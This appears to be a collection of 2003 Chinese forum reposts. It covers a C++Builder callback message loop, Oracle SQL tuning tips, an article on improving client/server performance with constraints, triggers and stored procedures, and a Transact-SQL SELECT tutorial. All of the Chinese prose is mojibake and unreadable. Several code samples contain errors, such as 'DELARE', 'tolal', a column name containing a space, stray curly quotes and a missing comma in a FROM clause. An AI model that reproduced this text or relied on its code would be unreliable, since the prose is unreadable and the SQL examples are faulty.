---- ½â ¾ö µÄ °ì ·¨ ÊÇ£º ÔÚ »Ø µ÷ º¯ Êý ÖÐ È¡ ³ö Ïû Ï¢ ¶Ó ÁÐ ÖÐ µÄ Ïû Ï¢£¬ ²¢ ºó ̨ ´¦ Àí Ëü ÃÇ£¬ Õâ Ñù Óà »§ ½« ÓÐ »ú »á °´ Ï ÖÕ Ö¹ °´ Å¥¡£ ʵ ÏÖ µÄ ´ú Âë ºÜ ¼ò µ¥£¬ ÔÚ »Ø µ÷ º¯ Êý ÖÐ ×î ºó ¼Ó Èë ÒÔ Ï ´ú Âë ¼´ ¿É

CBRType __stdcall ApiCallBackFun(¡­)
{
¡­¡­
   MSG amsg;
   while(PeekMessage(&amsg,NULL,0,0,PM_REMOVE))
    //´Ó¶ÓÁÐÖÐÈ¡ÏûÏ¢
       {
       TranslateMessage(&amsg); //·­ÒëÏûÏ¢
       DispatchMessage(&amsg); //·Ö·¢ÏûÏ¢
       }
if (isContinue)
return cbrCONTINUE;
else
return cbrABORT;
}

---- ÒÔ ÉÏ µÄ ´ú Âë Ëä È» ¶¼ ÓÃCBuilder ±à д£¬ µ« ÊÇ Æä Ô­ Àí ͬ Ñù ÊÊ Óà ÓÚDELPHI¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 12:57
ÓÅ»¯SQLÖ´ÐÐЧÄܵļ¸µã³£Ê¶

ÎÒÏë´ó¼Ò¶¼ÖªµÀ£¬ÓÅ»¯Êý¾Ý¿âµÄÖ´ÐÐЧÄÜÊÇÒ»¸öרÃŵļ¼Êõ£¬OracleÓÐÕâ·½ÃæרÃŵÄͼÊ飬ÈçOracle Tunning Tec.±¾ÎÄÖ»Éæ¼°Á˺ÜÉÙµÄÒ»²¿·Ö--ÓÅ»¯SQLµÄһЩС³£Ê¶¡£

1£©²»Öª´ó¼ÒÊÇ·ñϲ»¶Ê¹Óá®NOT IN¡¯ÕâÑùµÄ²Ù×÷£¬Èç¹ûÊÇ£¬ÄǾ¡Á¿Ê¹ÓÃ(NOT) EXISTS Ìæ´ú

Àý×Ó£º
Óï¾ä1

SELECT dname, deptno

FROM dept

WHERE deptno NOT IN

(SELECT deptno FROM emp);

Óï¾ä2

SELECT dname, deptno

FROM dept

WHERE NOT EXISTS

(SELECT deptno

FROM emp

WHERE dept.deptno = emp.deptno);

Ã÷ÏԵģ¬2Òª±È1µÄÖ´ÐÐÐÔÄܺúܶà

ÒòΪ1ÖжÔemp½øÐÐÁËfull table scan,ÕâÊǺÜÀË·Ñʱ¼äµÄ²Ù×÷¡£¶øÇÒ1ÖÐûÓÐÓõ½empµÄindex£¬

ÒòΪûÓÐwhere×Ӿ䡣¶ø2ÖеÄÓï¾ä¶Ôemp½øÐеÄÊÇrange scan¡£

2£©ÔÚº£Á¿²éѯʱ¾¡Á¿ÉÙÓøñʽת»»¡£

ÈçÓÃ

WHERE a.order_no = b.order_no

¶ø²»ÓÃ

WHERE TO_NUMBER (substr(a.order_no, instr(b.order_no, '.') - 1)

= TO_NUMBER (substr(a.order_no, instr(b.order_no, '.') - 1)




3£©²éѯº£Á¿Êý¾ÝÊÇ£¬¿ÉÒÔʹÓÃoptimizer hints£¬ÀýÈç/*+ORDERED */

Èç

SELECT /*+ FULL(EMP) */ E.ENAME

FROM EMP E

WHERE E.JOB = 'CLERK';

¶ø²»ÊÇ

SELECT E.ENAME

FROM EMP E

WHERE E.JOB || '' = 'CLERK';
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 12:58
Ìá¸ß¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃϵͳÐÔÄܵÄһЩ·½·¨

¡¡¡¡¡¡¡¡¡¡¡¡×÷Õߣº³Âϼ ÂÞÌú¼á


Õª Òª ¿Í»§»ú/·þÎñÆ÷µÄÓ¦ÓÃÂß¼­Éè¼ÆÊÇ·ñºÏÀí,Ö±½ÓÓ°Ïìµ½¿Í»§»ú/·þÎñÆ÷·½Ê½Ó¦ÓÃϵͳµÄ´¦ÀíÐÔÄÜ¡£±¾ÎÄÒÔOracle 7·þÎñÆ÷Ϊƽ̨Ìá³öһЩ·½·¨,ÒÔÈ·¶¨ÈçºÎ»®·ÖÓ¦ÓÃÂß¼­,ʹ¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃϵͳÓнϸߵĴ¦ÀíЧÂÊ¡£
¹Ø¼ü´Ê PL/SQL ´¥·¢×Ó ¿Í»§»ú/·þÎñÆ÷

Ò»¡¢ÎÊÌâµÄÌá³ö
80Äê´úÄ©µ½90Äê´ú³õ,Ðí¶àÓ¦ÓÃϵͳ´ÓÖ÷»úÖն˷½Ê½¡¢Îļþ¹²Ïí·½Ê½Ïò¿Í»§»ú/·þÎñÆ÷·½Ê½¹ý¶É¡£¿Í»§»ú/·þÎñÆ÷ϵͳ±ÈÎļþ·þÎñÆ÷ϵͳÄÜÌṩ¸ü¸ßµÄÐÔÄÜ,ÒòΪ¿Í»§»úºÍ·þÎñÆ÷½«Ó¦ÓõĴ¦ÀíÒªÇó·Ö¿ª,ͬʱÓÖ¹²Í¬ÊµÏÖÆä´¦ÀíÒªÇó(¼´"·Ö²¼Ê½Ó¦Óô¦Àí"¡£·þÎñÆ÷Ϊ¶à¸ö¿Í»§»ú¹ÜÀíÊý¾Ý¿â,¶ø¿Í»§»ú·¢ËÍÇëÇóºÍ·ÖÎö´Ó·þÎñÆ÷½ÓÊÕµÄÊý¾Ý¡£ÔÚÒ»¸ö¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃÖÐ,Êý¾Ý¿â·þÎñÆ÷ÊÇÖÇÄÜ»¯µÄ,ËüÖ»·âËøºÍ·µ»ØÒ»¸ö¿Í»§»úÇëÇóµÄÄÇЩÐÐ,±£Ö¤Á˲¢·¢ÐÔ,ʹÍøÂçÉϵÄÐÅÏ¢´«Êä¼õµ½×îÉÙ,Òò¶ø¿ÉÒÔ¸ÄÉÆϵͳµÄÐÔÄÜ¡£ÔÚ¿Í»§»ú/·þÎñÆ÷ϵͳÖÐ,Ó¦ÓõĴ¦ÀíÊÇ·Ö²¼ÔÚÍøÂçÉϵÄ,ËùÒÔÔÚÉè¼Æ¿Í»§»ú·½Êý¾Ý¿âÓ¦ÓóÌÐòʱ,Èô°Ñ¹ý¶àµÄ¸ºµ£¼ÓÔÚÍøÂçÉÏ,ûÓгä·ÖÀûÓÃÊý¾Ý¿âµÄ´æ´¢¹ý³Ì,ûÓаÑÍøÂç·ÃÎÊ×îС»¯,½á¹ûÊÇÓ¦ÓóÌÐòÒªÖ´Ðйý¶àµÄÍøÂçI/O,ʹÍøÂç±¥ºÍ,´Ó¶ø½µµÍÁËÕû¸öϵͳµÄÐÔÄÜ¡£Òª¿ª·¢ºÃµÄ¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃϵͳ,±ØÐë¸ãÇå³þÈçºÎÔÚ×é³ÉϵͳµÄ¸÷²¿·ÖÖ®¼ä·Ö²¼Ó¦Óù¦ÄÜ¡£
±¾ÎÄÌá³öһЩ·½·¨À´È·¶¨¿Í»§»ú/·þÎñÆ÷Êý¾Ý¿âϵͳÖÐÄÄЩ¹¦ÄÜÓ¦·ÅÔÚÄÄÀïʵÏÖ¡£¿Í»§»úÓ¦ÓóÌÐòÖ÷Òª²àÖØÓÚÓÃijÖÖ·½±ãÓû§µÄ·½Ê½±íʾºÍ(»ò)·ÖÎöÊý¾Ý¡£¿ª·¢¿Í»§»úÓ¦ÓóÌÐòʱ,ÍøÂç´«ÊäÁ¿ÊÇÓ¦Öص㿼ÂǵÄÎÊÌâÖ®Ò»¡£Ó¦×¢ÒâÓ¦ÓóÌÐòÈçºÎÏòÊý¾Ý¿â·þÎñÆ÷·¢ËÍÐÅÏ¢»ò´ÓÊý¾Ý¿â·þÎñÆ÷½ÓÊÕÐÅÏ¢ÒÔ¼°·¢ËͺͽÓÊÕ¶àÉÙÊý¾Ý¡£Í¨³£¿Í»§»ú/·þÎñÆ÷ϵͳÉÏÍøÂçI/OÊÇÓ¦ÓóÌÐòÐÔÄܵÄÆ¿¾±,Ò»¸öÓ¦ÓóÌÐòÒýÆðµÄÍøÂçÉÏI/OÔ½ÉÙ,Ó¦Óü°Õû¸öϵͳµÄÔËÐÐÇé¿öÔ½ºÃ¡£Òª´ÓÒ»¸ö¿Í»§»úÓ¦ÓÃÖÐÏû³ý²»±ØÒªµÄÍøÂç´«ÊäÁ¿,ÐèÒªÀí½âºÍÀûÓÃSQLÃüÁî¼°Êý¾Ý¿âÉϵÄÆäËüһЩÌØÕ÷¡£

¶þ¡¢Ò»¸öÀý×Ó
ÏÂÃæ,ÎÒÃÇÀ´¿¼ÂÇÕâÑùÒ»¸öÀý×Ó:Ò»¸öÊý¾Ý¿âÓ¦ÓóÌÐòÍê³ÉÏÔʾÿ¸öÏúÊÛ¶©µ¥µÄËùÓÐÐеĽð¶îºÏ¼Æ¡£
Ò»°ãËã·¨·ÖÁ½²½:
(1)ÿÐÐÏîÄ¿ÖÐÊýÁ¿³ËÒÔµ¥¼Û=½ð¶î;
(2)°ÑÿÐнð¶îÀÛ¼Ó¡£
µÚÒ»ÖÖ·½·¨:
ÿ´ÎÒ»ÐÐ,È»ºó,ÓÃÓ¦ÓóÌÐòÀÛ¼Ó,¼´
SELECT orderid, quantity ,unitprice
FROM item ,stock
WHERE stock.id=item.id
ORDER BY orderid
½á¹ûΪ:
orderid quantity unitprice
1 1 6.03
1 1 21.4
1 4 87.12
2 2 8.97
2 3 21.4
²ÉÓÃÕâÖÖ·½·¨,ÈôÒµÎñÁ¿Ôö´ó,ÔòÆäÍøÂçµÄ´«ÊäÁ¿ÏàÓ¦Ôö´ó¡£
µÚ¶þÖÖ·½·¨:
ÈÃÊý¾Ý¿â·þÎñÆ÷½øÐмÆËã,È»ºóÖ»°Ñ½á¹û´ÓÍøÉÏÈ¡¹ýÀ´,¼´:
SELECT orderid ,SUM(quantity *unitprice)
FROM item , stock
WHERE item.id=stock.id
GROUP BY orderid
ORDER BY orderid
½á¹ûΪ:
orderid SUM(quantity*unitprice)
1 265.87
2 82.14
ÈçÉÏËùʾ,ÓÉÓÚµÚ¶þÖÖ²éѯʹÓÃÁËÒ»¸öSQLµÄ×éºÏ,¼´Ò»¸öSQLº¯Êý(SUM)ÒÔ¼°Ò»¸öGROUP BY×Ó¾ä,È÷þÎñÆ÷À´Ö´ÐмÆËã¡£Òò´Ë,Ö»Ðè´ÓÍøÉÏ´«Êä½ÏÉÙµÄÊý¾Ý¡£
Õâ¸ö¼òµ¥Àý×Ó˵Ã÷:

1.ÔÚ¿Í»§»ú/·þÎñÆ÷»·¾³ÖÐÈçºÎÓÃSQLº¯Êý¼õÉÙÍøÂçÉϵĴ«ÊäÁ¿;
2.¿ª·¢ÈËÔ±±ØÐëÍêÈ«ÊìϤSQL²ÅÄÜ×ö³öºÃµÄ¿Í»§»úÊý¾Ý¿âÓ¦ÓóÌÐò¡£
Èý¡¢Ìá¸ßÐÔÄܵķ½·¨
ÏÂÃæÎÒÃǽéÉܼ¸ÖÖÌá¸ßÐÔÄܵķ½·¨¡£

1.ʹÓÃÍêÕûÐÔÔ¼Êø
ËùÓпͻ§»úÓ¦ÓóÌÐò±ØÐë×ñѭһϵÁÐÔ¤Ïȶ¨ÒåµÄÊý¾ÝÍêÕûÐԹ滮¼°ÒµÎñ¹æÔò,ÒÔ±£Ö¤ËùÓÐÊý¾Ý¿âÊý¾ÝÊǺϷ¨µÄ¡£¿ÉÒÔʹÓÃÁ½ÖÖ·½·¨À´ÊµÊ©Ò»¸ö¼òµ¥µÄÍêÕûµÄ¹æÔò:ÈÃÓ¦ÓóÌÐòÖ´ÐÐÍêÕûÐÔ¼ì²é;ʹÓÃOracle7µÄÍêÕûÐÔÔ¼Êø¡£
(1)ÈÃÓ¦ÓóÌÐòÖ´ÐÐÍêÕûÐÔ¼ì²é
ÀýÈç,ÈκÎÒ»¸ö¶©µ¥( orders)µÄ¹Ë¿ÍºÅ±ØÐëÊÇ¿Í»§»ú±í( customer)ÖеĹ˿ͻ§»úºÅ¡£ÕâÊÇÒ»¸ö×î¼òµ¥µÄÒýÓÃÍêÕûÐÔ,¿ÉÒÔÓÃÓ¦ÓóÌÐò±¾ÉíÖ´ÐÐÍêÕûÐÔ¼ì²é¡£
DECLARE
flag INTEGER;
BEGIN
SELECT id INTO flag
FROM customer
WHERE id=3
FOR UPDATE OF id;
IF SQL%FOUND THEN
INSERT INTO orders
VALUES(5,3,SYSDATE,null,null,'F');
-- ÆäËûÓ¦ÓÃÂß¼­
COMMIT;
END IF;
END;
Õâ¸ö¹ý³ÌÖ»ÊÇÔÚÓ¦ÓóÌÐòÄÚ²¿ÓÃÓÚʵʩÒýÓÃÍêÕûÐÔ¹æÔòµÄÒ»ÖÖ·½·¨,µ«¿ÉÒÔ¿´³ö,Ϊʵʩһ¸ö¼òµ¥µÄÍêÕûÐÔ¹æÔò,Ó¦ÓóÌÐòÒª»¨´óÁ¿µÄʱ¼äͨ¹ýÍøÂçÀ´ÇëÇóºÍ·¢ËÍÊý¾Ý¡£(2)ʹÓÃOracle 7µÄÍêÕûÐÔÔ¼Êø
CREATE TABLE orders
(
id INTEGER PRIMARY KEY,
customer id INTEGER NOT NULL REFERENCES customer,
orderdate DATE NOT NULL,
shipdate DATE DEFAULT SYSDATE,
paidate DATE DEFAULT SYSDATE,
status CHAR(1) DEFAULT ¡®F' CHECK(status IN(¡®F'
,¡®B'))
);
ʵʩ¼òµ¥ÍêÕûÐÔ¹æÔò(ÈçÒýÓÃÍêÕûÐÔ)µÄ¸üºÃ·½·¨ÊÇʹÓÃOracle 7µÄÍêÕûÐÔÔ¼Êø¡£¸Ã·½·¨µÄºÃ´¦ÊÇÃ÷ÏÔµÄ:
¢Ù¶¨ÒåÒ»¸ö±íµÄͬʱ,·½±ãµØ½¨Á¢ÍêÕûÐÔÔ¼Êø,¿ª·¢ÈËÔ±²»ÐèΪʵʩһ¸ö¼òµ¥µÄÍêÕûÐÔ¹æÔò¶ø´´½¨²âÊÔ¡¢ÅÅ´í¸´ÔÓµÄÊý¾ÝÍêÕûÐÔÂß¼­,Ìá¸ßÁ˹¤×÷ЧÂÊ;
¢ÚÓü¯Öл¯µÄ·½·¨ÊµÏÖÍêÕûÐÔ¹æÔò;
¢ÛÎÞÐèÈκÎÍøÂçI/O,¿Í»§»ú/·þÎñÆ÷ϵͳҲ¾Í²»»áÒòΪÍøÂç·ÃÎʶø½µµÍÐÔÄÜ¡£
2.ʹÓÃÊý¾Ý¿â´¥·¢Æ÷
Ó¦ÓóÌÐò¾­³£ÐèҪʵʩ¸´ÔÓµÄÒµÎñ¹æÔò,ÕâЩ¹æÔòÎÞ·¨ÓÃÍêÕûÐÔ¹æÔò±íʾ,ËùÒÔ×îºÃ²»Òª°´ÕÕ³£¹æ˼·ÔÚÓ¦ÓóÌÐòÖÐʵʩÍêÕûÐÔ¹æÔò;¶øÊÇÓÃÊý¾Ý´¥·¢×Ó(triggers)À´ÊµÊ©ÒµÎñ¹æÔò¡£ÆäÓŵãÊÇÈÝÒ×´´½¨,¿É¼¯ÖнøÐйæÔòʵʩ,±ÜÃâ²»±ØÒªµÄÍøÂçI/O¡£ÀûÓÃÊý¾Ý¿â´¥·¢×Ó¿ÉÒÔʹÆäËûһЩӦÓóÌÐò¼¯Öл¯ºÍ×Ô¶¯»¯¡£ ±ÈÈç,¼ÆËãitem ±íÖеÄtotal ÁеÄÖµÊÇËù¶©Áã¼þµÄÊýÁ¿³ËÒÔÁã¼þµÄµ¥¼Û,¶øÁã¼þµ¥¼Û´æ·ÅÔÚstock±íÖÐ,µ±²åÈëÒ»¸öеÄÐÐÏîĿʱ,Ó¦ÓóÌÐò¼ÆËãtotalÁеÄÖµÓÐÁ½ÖÖ·½·¨¡£
·½·¨Ò»:ÈÃÓ¦ÓóÌÐòͨ¹ýSQLÃüÁîÖ´ÐÐÕâ¸ö²Ù×÷
DECLARE total REAL;
BEGIN
SELECT unitprice*quantity INTO total
FROM stock, item
WHERE id=4;
INSERT INTO item VALUES(...);
END
Ó¦ÓóÌÐòͨ¹ýÍøÂç·¢³öÇëÇó,È¡µÃijһЩÁã¼þµ¥¼Û,È»ºó²åÈëÕâ¸öº¬ÓиÃÐмÆËãÖµ(tota l)µÄÐС£ÐÞ¸Äitem±íÖÐijÐÐÊýÁ¿Öµ,Ó¦ÓóÌÐòÐèÒª°üº¬ÏàËƵÄÂß¼­À´¼ÆËã¡£´ËÍâ,¶à¸öÓû§»¹¿ÉÄÜͬһʱ¿Ì²åÈëºÍÐ޸Ķ©µ¥¡£×ÜÖ®,ÓÃÕâÖÖ·½·¨À´¼ÆËãtotal ÁÐʱ»áÔÚ¿Í»§»ú/·þÎñÆ÷ϵͳÖвúÉú´óÁ¿µÄÍøÂç´«Êä¡£
·½·¨¶þ:ÓÃÊý¾Ý¿â´¥·¢×Ó, ´ÓÒ»¸öÐÐÏîÄ¿×Ô¶¯µ¼³ötotal µÄÖµ,
µ±Óû§ÔÚitem±íÖвåÈëÐÂÐлòÐÞ¸Äquantityʱ,ÎÞÐèÈκÎÍøÂç·ÃÎÊ¡£
CREATE TRIGGER Linetotal
BEFORE INSERT OR UPDATE OF quantity,stockid
ON item
FOR EACH ROW
DELARE
itemprice REAL;
BEGIN
SELECT unitprice
INTO itemprice
FROM stock
WHERE id=:new.stockid;
:new.tolal:=new.quantity*itemprice;
END linetotal;
µ±´´½¨´¥·¢Æ÷linetotalºó, Ó¦Óÿª·¢ÈËÔ±ÔÚ±àдӦÓóÌÐòʱ¾Í²»Ð迼ÂDZ£³ÖtotalÁÐΪ×îÐÂÖµµÄÎÊÌâ,¶øÇÒÍøÂçÊý¾Ý¿âÉÏËùÓÐÓ¦Óö¼»áÒò´ËÊÜÒæ¡£
3.ÀûÓùý³ÌºÍ°üÓÅ»¯ÐÔÄÜ
ÕâÀïÖ÷ÒªÌÖÂÛÈçºÎÀûÓÃÍêÕûÐÔÔ¼ÊøºÍÊý¾Ý¿â´¥·¢Æ÷°ÑÓ¦ÓÃÂß¼­ÒƵ½Êý¾Ý¿â·þÎñÆ÷ÖÐÖ´ÐÐÒÔ±ã¼õÉÙÍøÂçI/O,Ìá¸ßÐÔÄÜ¡£
ÆäËüÀàÐÍÓ¦Óô¦ÀíÂß¼­·Ö²¼µ½Êý¾Ý¿â·þÎñÆ÷Òà¿ÉÒÔ¼õÉÙ¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃÖеÄÍøÂçI/ O,Ó¦ÓóÌÐò²»±ØÔÙÓðüº¬¶à¸öÍøÂç²Ù×÷µÄSQLÓï¾äÈ¥Ö´ÐÐÊý¾Ý¿â·þÎñÆ÷²Ù×÷,¶øÊǼòµ¥ÇÒÓÐЧµØµ÷Óô洢¹ý³Ì¡£°üÊÇÒ»ÖÖÓÃÀ´°Ñ¶à¸öÓйصĹý³ÌÔÚÊý¾Ý¿âÖзâ×°ÆðÀ´µÄ·½·¨¡£
ÏÂÃæÊÇÓÃSQLºÍÓô洢¹ý³ÌÀý×ӵIJîÒì:
ÀýÈçÒª²åÈëijЩÐÐÏîÄ¿µÄ¶©µ¥,ÓÃSQLʵÏÖ¹ý³Ì:
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(1,..)
UPDATE stock SET onhand=...
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(2,..)
UPDATE stock SET onhand=...
INSERT INTO orders VALUES(...)
INSERT INTO item VALUES(3,..)
UPDATE stock SET onhand=...
COMMIT;
Òª´´½¨Ò»¸öÐÂÏúÊÛ¶©µ¥²¢²åÈëËüµÄÈý¸öÐÐÏîÄ¿,Ó¦ÓóÌÐò±ØÐëÓÃ7¸ö²»Í¬µÄµÄSQLÓï¾äÀ´ÊµÏÖ,ÿ¸öÓï¾ä¶¼ÒªÍ¨¹ýÍøÂç´«ÊäÊý¾Ý,Òª¼õÉÙÕâЩSQLÓï¾äÔÚ¿Í»§»ú/·þÎñÆ÷ϵͳÖвúÉúµÄÍøÂç´«ÊäÁ¿,¿ÉÒÔ´´½¨Á½¸ö¼òµ¥µÄ¹ý³ÌÀ´²åÈ붩µ¥¼°ÐÐÏîÄ¿¡£
CREATE PROCEDURE placeorder(custid IN INTEGER) AS
BEGIN
INSERT INTO orders
VALUES(orderseq.NEXTVAL,custid,SYSDATE,null,null,¡®F
');
END placeorder;
CREATE PROCEDURE placeitem
(itemid IN INTEGER,partid IN INTEGER, quan IN INTEGER)
AS
BEGIN
INSERT INTO item(id,orderid,stockid,quantity)
VALUES(itemid,orderseq.CURRVAL,partid,quan);
UPDATE stock
SET onhand=onhand-quan
WHERE id=partid;
END placeitem;
Ó¦ÓóÌÐòÖ»Ðè¼òµ¥µ÷ÓÃÕ⼸¸ö¹ý³Ì¡£
Placeorder(3);
Placeitem(1,3,2);
Placeitem(2,8,1);
Placeitem(3,9,3);
µ±Ò»¸öÓ¦ÓóÌÐòµ÷Óô洢¹ý³Ìʱ,ͨ¹ýÍøÂç·¢Ë͵ÄÊý¾ÝÖ»Óйý³Ìµ÷Óü°²ÎÊý¡£±¾ÎÄÌá³öµÄÌá¸ß¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃϵͳÐÔÄܵķ½·¨,Ö÷ÒªÊDzÉÓúÏÀí·Ö²¼´¦ÀíÂß¼­ÓÚ¿Í»§»ú¶ËÓë·þÎñÆ÷¶Ë,²¢³ä·ÖÀûÓÃÊý¾Ý¿â·þÎñÆ÷À´Ìá¸ßÖ´ÐÐËٶȡ£¸Ã·½·¨µÄÓÐЧÐÔ,ÒÑÔÚÎÒÃÇ¿ª·¢µÄ¶àÏî¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃϵͳÖеõ½Ö¤Êµ¡£´ËÍâ,ÔÚÌá¸ßÐÔÄܵĴëÊ©ºÍ·½·¨ÖÐ,SQLÓï¾äµÄ²éѯÓÅ»¯ÎÊÌâÒ²²»¿ÉºöÊÓ¡£×ÛºÏÉÏÊöÁ½ÖÖ·½·¨,²ÅÄÜ´Ó¸ù±¾ÉÏÌá¸ß
¿Í»§»ú/·þÎñÆ÷Ó¦ÓÃϵͳµÄÐÔÄÜ¡£

²Î¿¼ÎÄÏ×
1 Steven M.Bobrowski. Mastering Oracle7 & Client/Server
Computing, SYBEX I nc. 1995.
2 Michael J. Corey etc. OracleÊý¾Ý¿âÐÔÄÜÓÅ»¯¼¼Êõ,ѧԷ
³ö°æÉç,1994.
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 12:58
SQL²éѯÓï¾äʹÓÃ
×÷ÕߣºÈÎÎÒÐÐ
ÎÄÕÂÊôÐÔ:תÌù
Ò»¡¢¼òµ¥²éѯ
¼òµ¥µÄTransact-SQL²éѯֻ°üÀ¨Ñ¡ÔñÁÐ±í¡¢FROM×Ó¾äºÍWHERE×Ӿ䡣ËüÃÇ·Ö±ð˵Ã÷Ëù²éѯÁС¢²éѯµÄ
±í»òÊÓͼ¡¢ÒÔ¼°ËÑË÷Ìõ¼þµÈ¡£
ÀýÈ磬ÏÂÃæµÄÓï¾ä²éѯtesttable±íÖÐÐÕÃûΪ¡°ÕÅÈý¡±µÄnickname×ֶκÍemail×ֶΡ£
SELECT nickname,email
FROM testtable
WHERE name='ÕÅÈý'

(Ò»)Ñ¡ÔñÁбí
Ñ¡ÔñÁбí(select_list)Ö¸³öËù²éѯÁУ¬Ëü¿ÉÒÔÊÇÒ»×éÁÐÃûÁÐ±í¡¢ÐǺš¢±í´ïʽ¡¢±äÁ¿(°üÀ¨¾Ö²¿±ä
Á¿ºÍÈ«¾Ö±äÁ¿)µÈ¹¹³É¡£
1¡¢Ñ¡ÔñËùÓÐÁÐ
ÀýÈ磬ÏÂÃæÓï¾äÏÔʾtesttable±íÖÐËùÓÐÁеÄÊý¾Ý£º
SELECT *
FROM testtable

2¡¢Ñ¡Ôñ²¿·ÖÁв¢Ö¸¶¨ËüÃǵÄÏÔʾ´ÎÐò
²éѯ½á¹û¼¯ºÏÖÐÊý¾ÝµÄÅÅÁÐ˳ÐòÓëÑ¡ÔñÁбíÖÐËùÖ¸¶¨µÄÁÐÃûÅÅÁÐ˳ÐòÏàͬ¡£
ÀýÈ磺
SELECT nickname,email
FROM testtable

3¡¢¸ü¸ÄÁбêÌâ
ÔÚÑ¡ÔñÁбíÖУ¬¿ÉÖØÐÂÖ¸¶¨ÁбêÌâ¡£¶¨Òå¸ñʽΪ£º
ÁбêÌâ=ÁÐÃû
ÁÐÃû ÁбêÌâ
Èç¹ûÖ¸¶¨µÄÁбêÌâ²»ÊDZê×¼µÄ±êʶ·û¸ñʽʱ£¬Ó¦Ê¹ÓÃÒýºÅ¶¨½ç·û£¬ÀýÈ磬ÏÂÁÐÓï¾äʹÓúº×ÖÏÔʾÁÐ
±êÌ⣺
SELECT êdzÆ=nickname,µç×ÓÓʼþ=email
FROM testtable

4¡¢É¾³ýÖظ´ÐÐ
SELECTÓï¾äÖÐʹÓÃALL»òDISTINCTÑ¡ÏîÀ´ÏÔʾ±íÖзûºÏÌõ¼þµÄËùÓÐÐлòɾ³ýÆäÖÐÖظ´µÄÊý¾ÝÐУ¬Ä¬ÈÏ
ΪALL¡£Ê¹ÓÃDISTINCTÑ¡Ïîʱ£¬¶ÔÓÚËùÓÐÖظ´µÄÊý¾ÝÐÐÔÚSELECT·µ»ØµÄ½á¹û¼¯ºÏÖÐÖ»±£ÁôÒ»ÐС£

5¡¢ÏÞÖÆ·µ»ØµÄÐÐÊý
ʹÓÃTOP n [PERCENT]Ñ¡ÏîÏÞÖÆ·µ»ØµÄÊý¾ÝÐÐÊý£¬TOP n˵Ã÷·µ»ØnÐУ¬¶øTOP n PERCENTʱ£¬ËµÃ÷nÊÇ
±íʾһ°Ù·ÖÊý£¬Ö¸¶¨·µ»ØµÄÐÐÊýµÈÓÚ×ÜÐÐÊýµÄ°Ù·ÖÖ®¼¸¡£
ÀýÈ磺
SELECT TOP 2 *
FROM testtable

SELECT TOP 20 PERCENT *
FROM testtable

(¶þ)FROM×Ó¾ä
FROM×Ó¾äÖ¸¶¨SELECTÓï¾ä²éѯ¼°Óë²éѯÏà¹ØµÄ±í»òÊÓͼ¡£ÔÚFROM×Ó¾äÖÐ×î¶à¿ÉÖ¸¶¨256¸ö±í»òÊÓͼ£¬
ËüÃÇÖ®¼äÓöººÅ·Ö¸ô¡£
ÔÚFROM×Ó¾äͬʱָ¶¨¶à¸ö±í»òÊÓͼʱ£¬Èç¹ûÑ¡ÔñÁбíÖдæÔÚͬÃûÁУ¬ÕâʱӦʹÓöÔÏóÃûÏÞ¶¨ÕâЩÁÐ
ËùÊôµÄ±í»òÊÓͼ¡£ÀýÈçÔÚusertableºÍcitytable±íÖÐͬʱ´æÔÚcityidÁУ¬ÔÚ²éѯÁ½¸ö±íÖеÄcityidʱӦ
ʹÓÃÏÂÃæÓï¾ä¸ñʽ¼ÓÒÔÏÞ¶¨£º
SELECT username,citytable.cityid
FROM usertable,citytable
WHERE usertable.cityid=citytable.cityid
ÔÚFROM×Ó¾äÖпÉÓÃÒÔÏÂÁ½ÖÖ¸ñʽΪ±í»òÊÓͼָ¶¨±ðÃû£º
±íÃû as ±ðÃû
±íÃû ±ðÃû

ÀýÈçÉÏÃæÓï¾ä¿ÉÓñíµÄ±ðÃû¸ñʽ±íʾΪ£º
SELECT username,b.cityid
FROM usertable a,citytable b
WHERE a.cityid=b.cityid

SELECT²»½öÄÜ´Ó±í»òÊÓͼÖмìË÷Êý¾Ý£¬Ëü»¹Äܹ»´ÓÆäËü²éѯÓï¾äËù·µ»ØµÄ½á¹û¼¯ºÏÖвéѯÊý¾Ý¡£
ÀýÈ磺
SELECT a.au_fname+a.au_lname
FROM authors a,titleauthor ta
(SELECT title_id,title
FROM titles
WHERE ytd_sales>10000
) AS t
WHERE a.au_id=ta.au_id
AND ta.title_id=t.title_id
´ËÀýÖУ¬½«SELECT·µ»ØµÄ½á¹û¼¯ºÏ¸øÓèÒ»±ðÃût£¬È»ºóÔÙ´ÓÖмìË÷Êý¾Ý¡£

(Èý)ʹÓÃWHERE×Ó¾äÉèÖòéѯÌõ¼þ
WHERE×Ó¾äÉèÖòéѯÌõ¼þ£¬¹ýÂ˵ô²»ÐèÒªµÄÊý¾ÝÐС£ÀýÈçÏÂÃæÓï¾ä²éѯÄêÁä´óÓÚ20µÄÊý¾Ý£º
SELECT *
FROM usertable
WHERE age>20

WHERE×Ó¾ä¿É°üÀ¨¸÷ÖÖÌõ¼þÔËËã·û£º
±È½ÏÔËËã·û(´óС±È½Ï)£º>¡¢>=¡¢=¡¢<¡¢<=¡¢<>¡¢!>¡¢!<
·¶Î§ÔËËã·û(±í´ïʽֵÊÇ·ñÔÚÖ¸¶¨µÄ·¶Î§)£ºBETWEEN¡­AND¡­
NOT BETWEEN¡­AND¡­
ÁбíÔËËã·û(Åжϱí´ïʽÊÇ·ñΪÁбíÖеÄÖ¸¶¨Ïî)£ºIN (Ïî1,Ïî2¡­¡­)
NOT IN (Ïî1,Ïî2¡­¡­)
ģʽƥÅä·û(ÅжÏÖµÊÇ·ñÓëÖ¸¶¨µÄ×Ö·ûͨÅä¸ñʽÏà·û):LIKE¡¢NOT LIKE
¿ÕÖµÅжϷû(Åжϱí´ïʽÊÇ·ñΪ¿Õ)£ºIS NULL¡¢NOT IS NULL
Âß¼­ÔËËã·û(ÓÃÓÚ¶àÌõ¼þµÄÂß¼­Á¬½Ó)£ºNOT¡¢AND¡¢OR

1¡¢·¶Î§ÔËËã·ûÀý£ºage BETWEEN 10 AND 30Ï൱ÓÚage>=10 AND age<=30
2¡¢ÁбíÔËËã·ûÀý£ºcountry IN ('Germany','China')
